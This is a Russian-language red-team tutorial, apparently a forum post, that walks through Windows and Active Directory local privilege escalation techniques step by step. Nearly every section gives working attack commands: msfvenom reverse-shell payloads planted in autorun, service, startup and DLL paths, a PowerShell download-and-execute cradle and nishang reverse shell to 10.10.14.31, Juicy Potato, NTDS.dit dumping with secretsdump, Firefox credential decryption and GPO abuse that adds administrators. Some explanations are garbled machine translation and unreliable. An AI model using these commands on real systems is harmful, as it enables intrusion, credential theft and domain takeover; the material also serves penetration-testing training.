Active Directory - Local Privilege Escalation
ВведениеДобро пожаловать в мою третью статью из серии Red Teaming (Active Directory Local Privilege Escalation). Я надеюсь, что все ознакомились с первыми двумя статьями этого цикла, в которых рассматривались основные концепции, необходимые для понимания Active Directory, и объяснение перечисления доменов высокого уровня. Этот руководство призвано объяснить локальные привилегии Windows/Active-Directory фрагменты эскалации, в основном злоупотребляя службами, реестрами, токенами и группы и т.д., подробно. Я также объясню те термины, которые каждый пентестер/краснокомандующий должен контролировать, чтобы понять проведенные атаки в сети Active Directory. На протяжении всей статьи я буду использовать PowerView , winPEAS , AccessChk и PowerUp при выполнении локального повышения привилегий в Windows/Active Directory Environment. Если потребуются какие-либо другие инструменты, они будут упомянуты.
Что же это такое - повышение привилегий.
Повышение привилегий использует ошибку, недостаток конструкции или ошибку конфигурации в операционной системе или программном приложении для получения повышенного доступа к ресурсам, которые обычно защищены от приложения или пользователя. Теперь, когда вы знаете, что такое эскалация привилегий, мы можем перейти к рассмотрению методов эскалации.
Autorun
Методология
Autorun - это разновидность эскалации реестра.
Для обеспечения безопасности среды, создаваемой ИТ-отделом, администраторам Windows часто требуется знать, какой доступ имеют определенные пользователи или группы к ресурсам, включая файлы, каталоги, ключи реестра, глобальные объекты и службы Windows. AccessChk быстро отвечает на эти вопросы с помощью интуитивно понятного интерфейса и вывода результатов. Итак, в принципе, мы можем сказать, что определенное приложение в определенном каталоге автоматически выполняется с привилегиями администратора, как только он входит в систему. Этим можно злоупотребить, найдя путь к каталогу и сбросив туда наш вредоносный исполняемый файл, через который мы получим доступ администратора.
Обнаружение
Использование Autoruns и AccessChk
1. Перенесите Autoruns64.exe на машину Windows/AD и выполните его через cmd.
Код с оформлением (BB-коды):
C:\Temp > Autoruns64.exe
2. В Autoruns перейдите на вкладку "Logon".
3. В списке результатов обратите внимание, что запись "Моя программа" указывает на "C:\Program Files\Autorun Program\program.exe".
4. Вернитесь в командную строку и запустите AccessChk64.exe
Код с оформлением (BB-коды):
C:\Temp > accesschk64.exe -wvu "C:\Program Files\Autorun Program"
# Switch meaning
# w --> only show items that have write access
# v --> verbose; dispaly as many details as possible
# u --> ignore the errors
Использование PowerUp
Запустите PowerUp и запустите Invoke-AllChecks (проверьте поле автозапуска)
Код с оформлением (BB-коды):
C:\Temp > powershell -ep bypass
PS C:\Temp > . .\PowerUp.sp1
PS C:\Temp > Invoke-AllChecks
Из вывода видно, что группа пользователей "Everyone" имеет разрешение "FILE_ALL_ACCESS" на файл "program.exe". Чтобы получить доступ администратора, мы можем удалить наш вредоносный исполняемый файл.
Эксплуатация
Kali VM
1. Запустите netcat
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте новую командную строку и введите:
Код с оформлением (BB-коды):
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o program.exe
3. Передайте сгенерированный файл "program.exe" на виртуальную машину Windows.
Windows VM
4. Заменяем 'program.exe' в 'C:\Program Files\Autorun Program'Kali VM
5. Ждем ответа от reverse shell на kali.AlwaysInstallElevated
Методология
AlwaysInstallElevated — это тип эскалации реестра.
Эта опция эквивалентна предоставлению полных административных прав, что может представлять огромный риск для безопасности. Microsoft настоятельно не рекомендует использовать эту настройку. Чтобы установить пакет с повышенными (системными) привилегиями, установите значение AlwaysInstallElevated в "1" для обоих следующих ключей реестра:
Код с оформлением (BB-коды):
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
Если значение AlwaysInstallElevated не установлено в "1" в обоих вышеуказанных ключах реестра, программа установки использует повышенные привилегии для установки управляемых приложений и использует уровень привилегий текущего пользователя для неуправляемых приложений.
AlwaysInstallElevated
ОбнаружениеWindows VM
1. Откройте командную строку и введите:
Код:
C:\Temp> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
0x1 означает, что он включен
2. В командной строке введите:
Код:
C:\Temp>reg query HKCU\Software\Policies\Microsoft\Windows\Installer
0x1 означает, что он включен
Из обоих результатов видно, что значение "AlwaysInstallElevated" равно 1. Следовательно, мы можем злоупотребить этой функцией, чтобы получить повышение привилегий.
Использование Powerup
Методологи
Запустите Powerup.ps1 и запустите Invoke-AllChecks (отметьте поле AlwaysInstallElevated)
Код с оформлением (BB-коды):
C:\Temp > powershell -ep bypass
PS C:\Temp > . .\PowerUp.sp1
PS C:\Temp > Invoke-AllChecks
Выполните Write-UserAddMSI и добавьте пользователя backdoor в группу администраторов (Требуется доступ по RDP).
Проверяем локальных администраторов:
Код:
C:\Temp> net localgroup administrators
# now backdoor is added to the localgroup administrators group
Powerup
Эксплуатация
Kali VM
1. Запустите netcat
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте новую командную строку и введите:
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f msi -o setup.msi
3. Скопируйте сгенерированный файл 'setup.msi' на виртуальную машину Windows.
Windows VM
4. Поместим 'setup.msi' в 'C:\Temp'5. Откройте командную строку и введите:
Код:
C:\Temp> msiexec /quiet /qn /i C:\Temp\setup.msi
Kali VM
5. Ждем ответа от reverse shell на kali.Service Registry
МетодологияРеестр служб состоит из кластера серверов, которые используют протокол репликации для поддержания согласованности. Следовательно, если мы получим разрешение Full Contol на ключ реестра, мы сможем подбросить наш вредоносный исполняемый файл, чтобы получить доступ администратора.
Обнаружение
Windows VM
1. Откройте командную строку powershell и введите:
Код с оформлением (BB-коды):
C:\Temp> powershell -ep bypass
PS C:\Temp> Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
2. Обратите внимание, что вывод предполагает, что пользователь принадлежит к "NT AUTHORITY\INTERACTIVE" и имеет "FullContol" разрешение на раздел реестра.
Service Registry
Эксплуатация
Kali VM
1. Запустите netcat
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте новую командную строку и введите:
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
3. Скопируйте сгенерированный файл x.exe, на виртуальную машину Windows
Windows VM
4. Поместите x.exe в 'C:\Temp'5. Откройте командную строку:
Код с оформлением (BB-коды):
C:\Temp> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
6. В командной строке введите:
Код с оформлением (BB-коды):
C:\Temp> sc start regsvc
# If it doesnt work try restaring the service and perform the exploit egain
Kali VM
7. Ждем ответа от reverse shell на kali.Исполняемые файлы
МетодологияСлужбы Microsoft Windows, ранее известные как службы NT, позволяют создавать долго работающие исполняемые приложения, которые запускаются в собственных сеансах Windows. Эти службы могут автоматически запускаться при загрузке компьютера, могут быть приостановлены и перезапущены, и не отображают никакого пользовательского интерфейса. Следовательно, если мы получим разрешение Full Contol на расположение пути к файлу, мы можем бросить наш вредоносный исполняемый файл, чтобы получить доступ администратора.
Обнаружение
1. Запустите Powerup.ps1 и выполните Invoke-AllChecks (проверьте поле исполняемого файла службы).
Код с оформлением (BB-коды):
C:\Temp> powershell -ep bypass
PS C:\Temp> . .\PowerUp.sp1
PS C:\Temp> Invoke-AllChecks
Мы видим, что у нас есть доступ к модифицируемому файлу "C:\Program Files\File Permissions Service\filepermservice.exe". Чтобы получить доступ администратора, мы можем поместить наш вредоносный исполняемый файл в это место.
Эксплуатация
Kali VM
1. Запустите netcat
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте новую командную строку и введите:
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
3. Скопируйте сгенерированный файл x.exe, на виртуальную машину Windows и заменить ее filepermsvc.exe.
Windows VM
4. В командной строке введите:
Код с оформлением (BB-коды):
C:\Temp> sc start filepermsvc
Kali VM
5. Ждем ответа от reverse shell на kali.Запуск приложений
Методология
Запускаемых приложений, работающих в фоновом режиме,может быть значительно больше, чем пользователь может себе представить, что влияет на отзывчивость системы. Приложения классифицируются по механизмам, которые их запускают:- Запускающиеся ключами реестра ( HKLM, HKCU, wow64)
- Ключами реестра RunOnce
- Объектами из папки автозагрузки в меню «Пуск» для каждого пользователя и общих.
Обнаружение
Windows VM
1. Откройте командную строку и введите:
Код с оформлением (BB-коды):
C:\Temp> icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
2. Из вывода обратите внимание, что "BUILTIN\Users"группа имеет полный доступ '(F)' в каталог.
Эксплуатация
Kali VM
1. Запустите netcat:
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте дополнительную командную строку и введите:
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o y.exe
3. Скопируйте сгенерированный файл, y.exe, на виртуальную машину Windows.
Windows VM
4. Разместите y.exe в "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup".Kali VM
5. Ждем ответа от reverse shell на kali.DLL Hijacking
Методология
Приложения обычно подгружают файлы DLL при запуске. Может случиться так, что файл DLL не существует, и приложение не может его загрузить. Тем не менее, приложение будет продолжать выполняться до тех пор, пока отсутствующая DLL не нужна. Если приложение использует относительный а не абсолютный путь к файлу, Windows ищет файл в следующие каталоги:- Каталог, из которого загружается приложение
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- Текущий рабочий каталог
- Каталоги в системной переменной окружения PATH
- Каталоги в пользовательской переменной окружения PATH
Шаги для захвата DLL:
- Определение уязвимого приложения и местоположения
- Идентифицировать приложения PID
- Определите уязвимые библиотеки DLL, которые могут быть захвачены
- Используйте MSFVenom или другие инструменты для создания полезной нагрузки для создания вредоносной DLL.
- Замените исходную DLL вредоносной DLL
- Выгода
Обнаружение
Windows VM (требуется RDP)
- Перенесите Procmon.exe на виртуальную машину Windows
- Щелкните правой кнопкой мыши по Procmon.exe и выберите 'Run as administrator'.
- Выберите "filter". В крайнем левом раскрывающемся меню выберите 'Process Name'.
- В поле ввода на той же строке введите: dllhijackservice.exe
- Убедитесь, что строка гласит: "dllhijackservice.exe" и нажмите на кнопку 'Add', затем 'Apply' и, наконец, на «ОК».
- Затем выберите из крайнего левого раскрывающегося меню 'Result'.
- В поле ввода на той же строке введите: NAME NOT FOUND.
- Убедитесь, что строка гласит: "NAME NOT FOUND" и нажмите кнопку 'Add', затем 'Apply' и, наконец, на «ОК».
9. В командной строке введите:
Код с оформлением (BB-коды):
C:\Temp> sc start dllsvc
10. Прокрутите вниз. Один из выделенных результатов показывает, что служба пыталась выполнить 'C:\Temp\hijackme.dll' но он не мог этого сделать, так как файл не был найден. Обратите внимание, что 'C:\Temp' является записываемым местоположением.
Эксплуатация
Kali VM
1. Запустите netcat :
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте дополнительное окно командной строки и введите:
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f dll -o hijackme.dll
3. Скопируйте сгенерированный файл hijackme.dll, на виртуальную машину Windows.
Windows VM
4. Переместите hijackme.dll в 'C:\Temp'5. Откройте командную строку и введите:
Код с оформлением (BB-коды):
C:\Temp> sc stop dllsvc & sc start dllsvc
Kali VM
6. Ждем ответа от reverse shell на kali.BinPath
Методология
BinPath - это разновидность Service Escalation. Мы можем получить привилегии администратора, если получим доступ к записи и перезапуску любого сервиса. Мы можем злоупотребить этой функцией, внедрив наш вредоносный BinPath, который будет выполнен после перезапуска.
Обнаружение
Windows VM
Запустите Powerup.ps1 и выполните Invoke-AllChecks (проверьте поле разрешений служб).
Код с оформлением (BB-коды):
C:\Temp> powershell -ep bypass
PS C:\Temp> . .\PowerUp.sp1
PS C:Temp> Invoke-AllChecks
Запустите AccessChk64.exe
Код с оформлением (BB-коды):
C:\Temp> accesschk64.exe -uwcv Everyone *
# Switch meaning
# w --> only show items that have write access
# v --> verbose; dispaly as many details as possible
# u --> ignore the errors
# c --> displays service name of the following
# Everyone --> means everyone as a group who hass access
С помощью AccessChk64.exe запросите найденную службу
Код:
C:\Temp> accesschk64.exe -uwcv daclsvc
Найдите путь к файлу bin
Код:
C:\Temp> sc qc daclsvc
Эксплуатация
Kali VM
1. Запустите netcat
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте дополнительную командную строку и введите:
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o reverse.exe
3. Скопируйте сгенерированный файл reverse.exe, на виртуальную машину Windows.
Windows VM
4. Переместите reverse.exe в 'C:\Temp'5. В командной строке введите:
Код:
C:\Temp> sc config daclsvc binpath= "C:\Temp\reverse.exe"
6. В командной строке введите:
Код:
C:\Temp> sc start daclsvc
Kali VM
7. Ждем ответа от reverse shell на kali.Unquoted Service Paths
Методология
Создание службы, путь к исполняемому файлу которой содержит пробелы и не заключен в кавычки, приводит к уязвимости, известной как Unquoted Servisce Path, который позволяет пользователю получить системные привилегии (только если уязвимая служба работает с правами SYSTEM). В Windows, если служба не заключена в кавычки и имеет пробелы, она будет обрабатывать пробел как разрыв и передавать остальную часть пути обслуживания как аргумент.Обнаружение
Запустите Powerup.ps1 и запустите Invoke-AllChecks (проверьте поле службы без кавычек)
Код с оформлением (BB-коды):
C:\Temp> powershell -ep bypass
PS C:\Temp> . .\PowerUp.sp1
PS C:\Temp> Invoke-AllChecks
Эксплуатация
Kali VM
1. Запустите netcat
Код с оформлением (BB-коды):
sudo nc -nvlp 53
2. Откройте дополнительную командную строку и введите:
Код с оформлением (BB-коды):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o common.exe
3. Передайте сгенерированный файл, common.exe, на виртуальную машину Windows.
Windows VM
4. Переместите common.exe в 'C:\Program Files\Unquoted Path Service'.5. Откройте командную строку и введите:
Код:
C:\Temp> sc start unquotedsvc
# OR
C:\Temp> net start unquotedsvc
Kali VM
6. Ждем ответа от reverse shell на kali.Juicy potato attack
Методология
Эта привилегия позволяет нам выдать себя за маркер привилегированной учетной записи, например NT AUTHORITY\SYSTEM.
Обнаружение
Windows VN
Привилегии SeImpersonatePrivilege должны быть включены
Код с оформлением (BB-коды):
C:\Temp> whoami /priv
Эксплуатация
Kali VM
1. Копировать Invoke-PowerShellTcp.ps1 из nishang как shell.ps1
2. Добавить строку внизу shell.ps1
Код с оформлением (BB-коды):
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 9999
3. Давайте создадим shell.bat
Код с оформлением (BB-коды):
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.31/shell.ps1')
4. Передали shell.bat а также juicypotato.exe на жертве
Код с оформлением (BB-коды):
(new-object net.webclient).downloadfile('http://10.10.14.31/file', 'C:\temp\file')
5. Установим слуштель на порт 9999
Код с оформлением (BB-коды):
sudo rlwrap nc -lnvp 9999
Windows VM
6. Беги сочная картошка!!!
Код с оформлением (BB-коды):
$ ./jp.exe -p shell.bat -l 7777 -t *
Если что то пошло не так -> попробуй использовать другой CLSID в зависимости от версии системы и выберите CLSID, который поддерживает NT AUTHORITY\SYSTEM. А выбрать можно тут -> http://ohpe.it/juicy-potato/CLSID
7. И запускаем еще / до победного - рано или поздно все равно получится /
Код с оформлением (BB-коды):
$ ./jp.exe -p shell.bat -l 7777 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Kali VM
8. Ждем ответа от reverse shell на kali.Hot Potato attack
Методология
Hot Potato использует известные проблемы в Windows, чтобы повышать привилегий в конфигурациях по умолчанию, а именно NTLM relay (в частности, ретрансляция HTTP-> SMB) и спуфинг NBNS.Обнаружение
ВМ Windows
Привилегии SeImpersonatePrivilege долюжны быть включены
Код с оформлением (BB-коды):
C:\Temp> whoami /priv
Эксплуатация
Продемонстрируем простую технику эксплуатации, добавляя пользователя в группу локальных администраторов с помощью TaterВМ Windows
Введите следующее, чтобы получить доступ администратора
Код с оформлением (BB-коды):
C:\Temp> powershell.exe -nop -ep bypass
PS C:\Temp> Import-Module C:\Temp\Tater.ps1
PS C:\Temp> Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
Эксплойты ядра
Поиск эксплойтов
Этот метод удобен для проверки любых существующих эксплойтов, доступных для машины, посмотрев системную информацию. Из результатов windows-exploit-suggester.py мы можем выбрать один из эксплойтов ядра и попытаться повысить привилегии.Windows VM
1. Запустите systeminfo и сохраните ее в текстовый файл
Код с оформлением (BB-коды):
C:\Temp> systeminfo
Kali VM
2. "Скормите" выдачу из systeminfo windows-exploit-suggester.py
Код с оформлением (BB-коды):
./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2020-06-06-mssb.xlsx
[*] done
./windows-exploit-suggester.py --database 2020-06-06-mssb.xlsx --systeminfo systeminfo.txt
Эксплойт появится туть
Эскалация подбора паролей - Firefox
Обнаружение
1. Утилита WinPEAS — инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе2. Путь к файлам
Код с оформлением (BB-коды):
C:\Temp> C:\Users\usernamehere\AppData\Roaming\Mozilla\Firefox\Profiles
Требования
Скопируйте следующие файлы с виртуальной машины Windows на виртуальную машину Kali:- key4.db
- logins.json
- addons.json
- cert9.db
Эксплуатация
Загрузите следующее
Код с оформлением (BB-коды):
$ git clone https://github.com/lclevy/firepwd.git
Поместите необходимые файлы в тот же каталог и запустите файл python для получения кред.
Код с оформлением (BB-коды):
$ python3 firepwd.py
globalSalt: b'2d45b7ac4e42209a23235ecf825c018e0382291d'
<SNIP>
clearText b'86a15457f119f862f8296e4f2f6b97d9b6b6e9cb7a3204760808080808080808'
decrypting login/password pairs
Speech-Savdcreds
МетодологияМы может проверить, существуют ли какие-либо ранее существовавшие учетные данные администратор в системе. Мы можем злоупотреблять этим, используя загруженные кредиты для повышения привилегий. В приведенном ниже примере я покажу, как читать файлы через сохраненные креды.
Обнаружение
1. Утилита WinPEAS — инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе2. Проверка на существование
Код с оформлением (BB-коды):
$ cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Эксплуатация
- Чтение корневого флага
Код с оформлением (BB-коды):
C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE c:\Users\Administrator\Desktop\root.txt > C:\Users\security\root1.txt"
Backup Operators (Disk shadow + Robocopy)
Методология
Если пользователь входит в группу Backup Operator, пользователь имеет возможность создавать резервные копии системы и может использоваться для получения копий конфиденциальные системные файлы, которые можно использовать для получения паролей, таких как ветки реестра SAM и SYSTEM и файл базы данных Active Directory NTDS.dit .Обнаружение
Пользователь должен входить в группу операторов резервного копирования, и у него должны быть включены SeBackupPrivilege и SeRestorePrivilege
Код с оформлением (BB-коды):
C:\Temp> net user unsername-hereC:\Temp> whoami /all
Эксплуатация
Kali VM
- Создайте этот скрипт и перенесите его на виртуальную машину Windows.
-
Код с оформлением (BB-коды):
set verbose onXset metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX
3. Передайте скрипт в diskshadow unility для создания теневой копии.
Код с оформлением (BB-коды):
PS C:\Temp> diskshadow /s script.txt
4. Теперь скопируйте файл NTDS с помощью Robocopy в созданный нами временный файл на диске C:
Код с оформлением (BB-коды):
PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit
5. Затем мы получаем ветку системного реестра, которая содержит ключ, необходимый для расшифровки файла NTDS с помощью reg save .
Код с оформлением (BB-коды):
PS C:\Temp> reg save hklm\system c:\temp\system.hive
Сброс хэшей NTML
- Мы можем использовать secretsdump.pyрасшифровать кредиты DA на Kali VM
Код с оформлением (BB-коды):
secretsdump.py -ntds ntds.dit -system system.hive LOCAL | tee hash-dump
Abusing GPO permissions
Эксплуатация
Мы злоупотребляем GPO, добавляя пользователя в локальную группу администраторов с помощью инструмента под названием SharpGPOAbuse.Источник: https://github.com/FSecureLABS/SharpGPOAbuse
Предварительно скомпилированные бинарники: https://github.com/Flangvik/SharpCollection
1. Добавить пользователя в локальные группы администраторов:
Код с оформлением (BB-коды):
PS C:\Enterprise-Share> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
2. Принудительно обновить систему
Код с оформлением (BB-коды):
PS C:\Enterprise-Share> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
3. Теперь просмотрите членство в нашей группе после принудительного обновления политик на целевой машине.
Код:
PS C:\Enterprise-Share> net user enterprise-security
# Will be added in administrators group
Экспорт паролей LAPS
Методология
Cледующий сценарий предполагает, что LAPS уже настроен в вашей среде и что у вашей учетной записи уже есть доступ для просмотра паролей LAPS с помощью пользовательского интерфейса Fat Client или от пользователей Active Directory. Этот скрипт загружает модуль Active Directory, находит поля пароля LAPS, а затем сохраняет их в CSV с датой, добавленная к имени файла. Единственное, что вам нужно изменить, это путь к файлу.Эксплуатация
Просто откройте Powershell и вставьте этот скрипт
Код с оформлением (BB-коды):
$Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$computers | Export-Csv -path c:\temp\"LAPS-$((Get-Date).ToString("MM-dd-yyyy")).csv" -NoTypeInformation
Затем сохраните его в выбранном вами месте. Для этого примера я сохраняю в
Код с оформлением (BB-коды):
C:\Scripts\LAPSexport.ps1
Затем запустите скрипт, чтобы убедиться, что он работает правильно. Если это так, вы должны автоматизировать эту процедуру, создав запланированное задание.